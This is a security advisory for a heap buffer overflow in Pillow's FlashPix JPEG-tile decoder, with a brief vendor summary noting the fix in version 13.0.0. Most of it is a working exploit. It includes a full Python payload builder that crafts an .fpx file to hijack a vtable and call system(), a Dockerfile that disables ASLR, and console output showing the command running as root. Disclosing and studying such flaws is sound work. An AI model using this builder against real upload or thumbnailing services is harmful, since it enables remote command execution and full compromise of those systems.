CVE-2026-112398

### Credits **Researcher**: Alex Bouffard (mixbo@pebwalker.com) ### Summary A heap buffer overflow in Pillow's FlashPix (FPX) JPEG-tile decoder lets an attacker achieve arbitrary code execution by getting an application to open a single crafted file with `Image.open()`. The file is recognized by content (the OLE2 magic), not by extension, so any service that opens or thumbnails untrusted uploads with the optional `olefile` dependency installed is reachable with no user interaction. In the PoC below, opening one crafted file executes an attacker-chosen command on stock Pillow 12.2.0 (x86_64 Ubuntu 24.04, glibc 2.39). ### Details `FpxImagePlugin` decodes FlashPix (FPX) files, which are OLE2/CFBF compound documents. `Image.open()` auto-detects them from the OLE2 magic `D0CF11E0...` whenever the optional `olefile` package is installed (Pillow's documented dependency for FPX/MIC support), regardless of the file's extension. For a JPEG-compressed subimage (`compression == 2`), the plugin builds a `"jpeg"` decode tile and derives the `(rawmode, jpegmode)` pair from attacker-controlled FPX color IDs through the `MODES` table ([`src/PIL/FpxImagePlugin.py` L25-L32](https://github.com/python-pillow/Pillow/blob/12.2.0/src/PIL/FpxImagePlugin.py#L25-L32)): ```python MODES = { ... (0x00018000, 0x00017FFE): ("RGBA", "LA"), # rawmode "LA" (2 bytes/pixel) ... (0x00020000, 0x00020001, 0x00020002): ("RGB", "YCC;P"), # rawmode "YCC;P" } ``` The Imaging output buffer for the tile is sized for the rawmode (here `"LA"` = 2 bytes/pixel) ([`src/decode.c` L223-L226](https://github.com/python-pillow/Pillow/blob/12.2.0/src/decode.c#L223-L226)): ```c state->bytes = (state->bits * state->xsize + 7) / 8; // "LA" gives 2 * xsize bytes/row ... state->buffer = (UINT8 *)calloc(1, state->bytes); ``` In `JpegDecode.c` the rawmode string is mapped to a libjpeg `out_color_space`. Recognized modes (`CMYK`, `YCbCr`, `YCbCrK`, and so on) get a concrete colorspace, but `"LA"` and `"YCC;P"` are not recognized, so control reaches the fallback branch ([`src/libImaging/JpegDecode.c` L219-L221](https://github.com/python-pillow/Pillow/blob/12.2.0/src/libImaging/JpegDecode.c#L219-L221)): ```c /* Disable decoder conversions. */ context->cinfo.jpeg_color_space = JCS_UNKNOWN; context->cinfo.out_color_space = JCS_UNKNOWN; ``` Under `JCS_UNKNOWN`, libjpeg performs no color conversion and emits `cinfo.num_components` bytes per pixel, taken from the embedded JPEG's SOF marker, which the attacker sets to 4. So `jpeg_read_scanlines` writes `4 * width` bytes per row into a buffer allocated for only `2 * width` bytes ([`src/libImaging/JpegDecode.c` L252](https://github.com/python-pillow/Pillow/blob/12.2.0/src/libImaging/JpegDecode.c#L252)): ```c ok = jpeg_read_scanlines(&context->cinfo, &state->buffer, 1); // writes 4*W into a 2*W buffer ``` This is a heap out-of-bounds write with attacker-controlled length (the image width, up to tens of thousands of pixels, so about `2 * width` bytes of overflow per row) and attacker-controlled content (the decoded pixel data). The PoC weaponizes it: the overflow overwrites an adjacent Python `bytes` object's `ob_type` with a pointer to a fake `PyTypeObject` / `PyBufferProcs` vtable that the same overflow plants inside the decode buffer. When Pillow releases the input buffer, `PyBuffer_Release` walks `ob_type -> tp_as_buffer -> bf_releasebuffer` and executes `call *rax`; the PoC points that at `system@plt` (fixed, the interpreter binary is non-PIE) with `rdi` set to the command string, yielding command execution. ### PoC To facilitate an exact reproduction on an x86_64 machine, this PoC uses the version-pinned, ASLR-disabled Docker image from [Annex A](#annex-a-docker-setup). The source code for the payload builder `make_payload.py` is in [Annex B](#annex-b-payload-builder-source). `vulnerable.py` is the program under test, a one-liner that opens the file it is given: ```python #!/usr/bin/env python3 # The entire vulnerable operation an application performs on an untrusted file. import sys from PIL import Image Image.open(sys.argv[1]).load() ``` The payload is a standalone `.fpx` file the attacker crafts on their own host; the target only ever opens the resulting file, so building it requires no access to or code execution on the target. We run `make_payload.py` inside the same container here purely for convenience, so its baked-in addresses (`--offset`, `system@plt`) match this pinned image. The payload redirects the hijacked indirect call to `system@plt` (`0x4206c0`, fixed because the interpreter binary is non-PIE) with a baked-in command: ```console $ python3 make_payload.py --target 0x4206c0 --cmd id --out shell.fpx [control] shell.fpx: S=0xdc8800 target=0x4206c0 cmd='id' craft_iters=0 bad=0 [control] opening it: vtable hijack -> call *0x4206c0 with rdi -> 'id' ``` Then open it with `vulnerable.py`: ```console $ python3 vulnerable.py shell.fpx uid=0(root) gid=0(root) groups=0(root) corrupted size vs. prev_size ``` `Image.open()` of the crafted file runs the baked command via `system("id")`: command execution as the user running the image processing (root in the container). The trailing `corrupted size vs. prev_size` is glibc aborting during interpreter teardown over the corrupted heap, after `id` has already run. The builder writes the command inline at the hijacked `rdi`, so `--cmd` is limited to 7 bytes (for example `id`, `id;w`). `--offset` and `system@plt` are constants of the pinned, ASLR-disabled image and hold across runs of it. ### Impact This is a heap-based buffer overflow (CWE-122) / out-of-bounds write (CWE-787) that leads to code execution. Any application or service that opens attacker-influenced files with Pillow and has the optional `olefile` dependency installed is affected: image upload and thumbnailing services, avatar and media processing, document and image conversion pipelines, and similar. Because detection is by OLE2 magic rather than file extension and the overflow is triggered during a normal `Image.open()` / `load`, a server that automatically processes an uploaded file is exploitable with no user interaction. The result is arbitrary command execution in the context of the process performing the image processing, leading to full compromise of that process and the data and privileges it holds. ### Annex A: Docker setup The PoC runs in a pinned Docker image so the environment is deterministic; the image installs a version-pinned Python (3.12.3) and the Pillow 12.2.0 wheel, and the builder is pure Pillow. The image's entrypoint disables ASLR (`setarch -R`) to reduce the system knowledge requirements. The single `--security-opt seccomp=unconfined` flag on `docker run` is required only because turning ASLR off uses the `personality()` syscall that Docker's default seccomp profile blocks. Run only on infrastructure you own. **1. Build the image.** Put `vulnerable.py` (PoC) and `make_payload.py` ([Annex B](#annex-b-payload-builder-source)) in a directory with this `Dockerfile`: ```dockerfile FROM ubuntu:24.04@sha256:786a8b558f7be160c6c8c4a54f9a57274f3b4fb1491cf65146521ae77ff1dc54 RUN apt-get update && apt-get install -y --no-install-recommends \ ca-certificates \ python3.12=3.12.3-1ubuntu0.13 python3.12-venv=3.12.3-1ubuntu0.13 \ && rm -rf /var/lib/apt/lists/* RUN python3.12 -m venv /opt/v \ && /opt/v/bin/pip install --no-cache-dir "Pillow==12.2.0" "olefile==0.47" ENV PATH=/opt/v/bin:$PATH WORKDIR /poc # ASLR is an OS mitigation unrelated to the bug; disable it in-image for a deterministic heap. ENTRYPOINT ["setarch", "-R"] CMD ["bash"] ``` ```console $ docker build -t fjpeg1-poc . ... Downloading pillow-12.2.0-cp312-cp312-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl (7.1 MB) Successfully installed Pillow-12.2.0 olefile-0.47 Successfully built 370344c832b6 Successfully tagged fjpeg1-poc:latest ``` **2. Start the (ASLR-disabled) container shell** with the scripts mounted: ```sh docker run --rm -it --security-opt seccomp=unconfined -v "$PWD:/poc" -w /poc fjpeg1-poc ``` ### Annex B: payload builder source `make_payload.py`: ```python #!/usr/bin/env python3 """F-JPEG-1 payload builder for a 0-ASLR box (x86_64 + glibc), pure Pillow (no native toolchain). Builds an .fpx whose embedded 4-component JPEG, decoded via Pillow's FpxImagePlugin -> JCS_UNKNOWN path, overflows the 2-byte/px decode buffer and overwrites an adjacent object's ob_type. --crash flood an adjacent ob_type with 0x42.. -> SIGSEGV in PyBuffer_Release (default) CONTROL: fake vtable at the fixed (no-ASLR) addresses -> call *--target Defaults target the pinned Docker image with ASLR disabled (setarch -R). See --help.""" import sys, io, struct, math, argparse from PIL import Image W, H = 65000, 2 SECT, OB_TYPE_OFF, DATA_PAD, SENTINEL = 512, 130024, 0x18000, 0x4142434445464748 FREESECT, ENDOFCHAIN, FATSECT, NOSTREAM = 0xFFFFFFFF, 0xFFFFFFFE, 0xFFFFFFFD, 0xFFFFFFFF FPX_CLSID = bytes.fromhex("0067615654C1CE11855300AA00A1F95B") o32 = lambda v: struct.pack("<I", v) p64 = lambda v: struct.pack("<Q", v) INV = bytes(255 - i for i in range(256)) # 8-bit inversion table def jpeg(src): b = io.BytesIO() Image.frombytes("CMYK", (W, H), bytes(src)).save(b, "JPEG", quality=100, subsampling=0) return b.getvalue() def decode_row(jpg): # Predict what the vulnerable JCS_UNKNOWN path decodes, using Pillow itself: JCS_UNKNOWN emits # the raw JPEG components R, while Pillow's own CMYK decode of the same file returns 255 - R # (the Adobe-CMYK inversion). So 255 - Image.open(jpg) is exactly the vulnerable output. The # last decoded row is the one that lands in (and overflows past) the buffer. px = Image.open(io.BytesIO(jpg)).tobytes() return px[(H - 1) * W * 4:].translate(INV) def craft(targets, iters=40): # decode-feedback exact write (JPEG is lossy -> iterate to converge) # base fill 0xBD -> decodes to 0x42, so the overflow GAPS match the crash-mode flood pattern # that reaches PyBuffer_Release cleanly (uniform 0x42 avoids a premature glibc free() abort). src = bytearray(b"\xbd" * (W * H * 4)); base = (H - 1) * W * 4; it = 0 for off, t in targets: for i, v in enumerate(t): src[base + off + i] = src[off + i] = 255 - v for it in range(iters): dec = decode_row(jpeg(src)); bad = 0 for off, t in targets: for i, v in enumerate(t): if dec[off + i] != v: bad += 1 src[base + off + i] = src[off + i] = max(0, min(255, src[base + off + i] + dec[off + i] - v)) if not bad: break return jpeg(src), it, bad def maxid_for(w, h): s, i = max(w, h), 1 while s > 64: s //= 2; i += 1 return i - 1 MAXID = maxid_for(W, H); RESNAME = "Resolution %04d" % MAXID def image_contents(): ui4 = lambda v: o32(19) + o32(v); blob = lambda b: o32(65) + o32(len(b)) + b cb = o32(1) + o32(2) + o32(0x00018000) + o32(0x00017FFE) # FPX color -> rawmode "LA" props = [(0x1000002, ui4(W)), (0x1000003, ui4(H)), (0x2000002 | (MAXID << 16), blob(cb))] voff = 8 + 8 * len(props); idx = vals = b"" for pid, v in props: idx += o32(pid) + o32(voff); vals += v; voff += len(v) body = o32(len(props)) + idx + vals return (struct.pack("<HHI", 0xFFFE, 0, 0x00020005) + b"\x00" * 16 + o32(1) + b"\x00" * 16 + o32(48) + o32(len(body) + 4) + body) def subimage_header(): b = bytearray(80) for o, v in [(32, W), (36, H), (40, 1), (44, max(W, 256)), (48, max(H, 256)), (52, 2), (56, 36), (60, 16), (64, 0), (72, 2)]: struct.pack_into("<I", b, o, v) return bytes(b) def build_fpx(jpg, out): data = b"\x00" * 28 + jpg assert len(data) <= DATA_PAD, (len(data), DATA_PAD) pad = lambda x: x + b"\x00" * ((-len(x)) % SECT) sd = {"ic": pad(image_contents().ljust(4096, b"\x00")), "hdr": pad(subimage_header().ljust(4096, b"\x00")), "dat": pad(data.ljust(DATA_PAD, b"\x00"))} ns = lambda x: len(x) // SECT; order = ["ic", "dat", "hdr"] dsec = math.ceil(6 * 128 / SECT); content = dsec + sum(ns(sd[k]) for k in order) fsec = 1 while fsec * 128 < fsec + content: fsec += 1 pos = {}; cur = fsec; dstart = cur; cur += dsec for k in order: pos[k] = cur; cur += ns(sd[k]) total = cur fat = [FREESECT] * (fsec * 128) for s in range(fsec): fat[s] = FATSECT def chain(a, n): for j in range(n): fat[a + j] = a + j + 1 if j < n - 1 else ENDOFCHAIN chain(dstart, dsec) for k in order: chain(pos[k], ns(sd[k])) def de(nm, t, ch, l, r, st, sz, cl=b"\x00" * 16): n = (nm.encode("utf-16-le") + b"\x00\x00").ljust(64, b"\x00")[:64] return (n + struct.pack("<HBB", min((len(nm) + 1) * 2, 64), t, 1) + o32(l) + o32(r) + o32(ch) + cl + o32(0) + b"\x00" * 16 + o32(st) + struct.pack("<Q", sz)) directory = pad(b"".join([ de("Root Entry", 5, 1, NOSTREAM, NOSTREAM, ENDOFCHAIN, 0, FPX_CLSID), de("Data Object Store 000001", 1, 2, NOSTREAM, NOSTREAM, ENDOFCHAIN, 0), de("\x05Image Contents", 2, NOSTREAM, NOSTREAM, 3, pos["ic"], len(sd["ic"])), de(RESNAME, 1, 4, NOSTREAM, NOSTREAM, ENDOFCHAIN, 0), de("Subimage 0000 Data", 2, NOSTREAM, NOSTREAM, 5, pos["dat"], len(sd["dat"])), de("Subimage 0000 Header", 2, NOSTREAM, NOSTREAM, NOSTREAM, pos["hdr"], len(sd["hdr"]))])) h = bytearray(512); h[0:8] = bytes.fromhex("D0CF11E0A1B11AE1") for o, fmt, *v in [(24, "<HH", 0x3E, 3), (28, "<H", 0xFFFE), (30, "<HH", 9, 6), (44, "<I", fsec), (48, "<I", dstart), (56, "<I", 4096), (60, "<I", ENDOFCHAIN), (68, "<I", ENDOFCHAIN)]: struct.pack_into(fmt, h, o, *v) for i in range(109): struct.pack_into("<I", h, 76 + i * 4, i if i < fsec else FREESECT) secs = [b""] * total for s in range(fsec): secs[s] = b"".join(o32(x) for x in fat[s * 128:(s + 1) * 128]) for j in range(dsec): secs[dstart + j] = directory[j * SECT:(j + 1) * SECT] for k in order: for j in range(ns(sd[k])): secs[pos[k] + j] = sd[k][j * SECT:(j + 1) * SECT] open(out, "wb").write(bytes(h) + b"".join(secs)) def xhex(s): return int(s, 16) SYSTEM_PLT = 0x4206c0 # system@plt in the image's non-PIE python3.12 (fixed, no libc leak) def main(): ap = argparse.ArgumentParser(description="F-JPEG-1 .fpx payload builder (0-ASLR box)") ap.add_argument("--out", required=True, help="output .fpx path") ap.add_argument("--crash", action="store_true", help="crash mode: flood an adjacent ob_type with 0x42.. and SIGSEGV (no addresses)") ap.add_argument("--heap-base", type=xhex, default=0xbaa000, help="fixed heap base of the 0-ASLR box (default 0xbaa000)") ap.add_argument("--offset", type=xhex, default=0x21e800, help="state->buffer - heap_base (default 0x21e800 -> S=0xdc8800)") ap.add_argument("--target", type=xhex, default=SENTINEL, help="value called via the hijacked vtable; pass %#x (system@plt) for " "command execution (default is a sentinel for an RIP-control demo)" % SYSTEM_PLT) ap.add_argument("--cmd", default="id", help="command system() runs, written inline at obj+0 / rdi (<=7 bytes, e.g. id, id;w)") a = ap.parse_args() if a.crash: # Pillow's CMYK JPEG path decodes inverted (decoded = 255 - src), so flood source 0xBD # to make the decoded overflow bytes 0x42 -> the adjacent ob_type becomes 0x4242424242424242. build_fpx(jpeg(bytes([0xBD]) * (W * H * 4)), a.out) print("[crash] %s: opening it overwrites an adjacent ob_type with 0x4242424242424242 " "-> SIGSEGV in PyBuffer_Release (no addresses)" % a.out) return if len(a.cmd.encode()) > 7: sys.exit("--cmd must be <=7 bytes (it is written inline at obj+0, before ob_type)") S = a.heap_base + a.offset A0, A1, B0, B1 = 0x2000, 0xA000, 0x100, 0x2000 # spray A = fake type, spray B = TARGET tg = [(OB_TYPE_OFF, p64(S + (A0 + A1) // 2)), (OB_TYPE_OFF - 8, a.cmd.encode() + b"\x00")] # obj+0 -> rdi for system() tg += [(o, p64(S + 0x100)) for o in range(A0, A1, 8)] # fake type -> spray B at +0xa0..+8 tg += [(o, p64(a.target)) for o in range(B0, B1, 8)] jpg, it, bad = craft(tg) build_fpx(jpg, a.out) print("[control] %s: S=%#x target=%#x cmd=%r craft_iters=%d bad=%d" % (a.out, S, a.target, a.cmd, it, bad)) print("[control] opening it: vtable hijack -> call *%#x with rdi -> %r" % (a.target, a.cmd)) if __name__ == "__main__": main() ```

Pillow is a Python imaging library. Prior to 13.0.0, Pillow's FlashPix JPEG-tile decoder can write decoded scanlines beyond the allocated tile buffer. FlashPix (FPX) JPEG decoding selects raw mode LA with two bytes per pixel, while an unrecognized JPEG mode can be decoded as JCS_UNKNOWN with four components, causing ImagingJpegDecode to write four-component scanlines into the two-byte tile buffer. An attacker can supply a crafted OLE2 FlashPix file to an application with the optional olefile dependency installed that opens or thumbnails untrusted input. This can corrupt heap memory and may allow arbitrary code execution. This issue is fixed in version 13.0.0.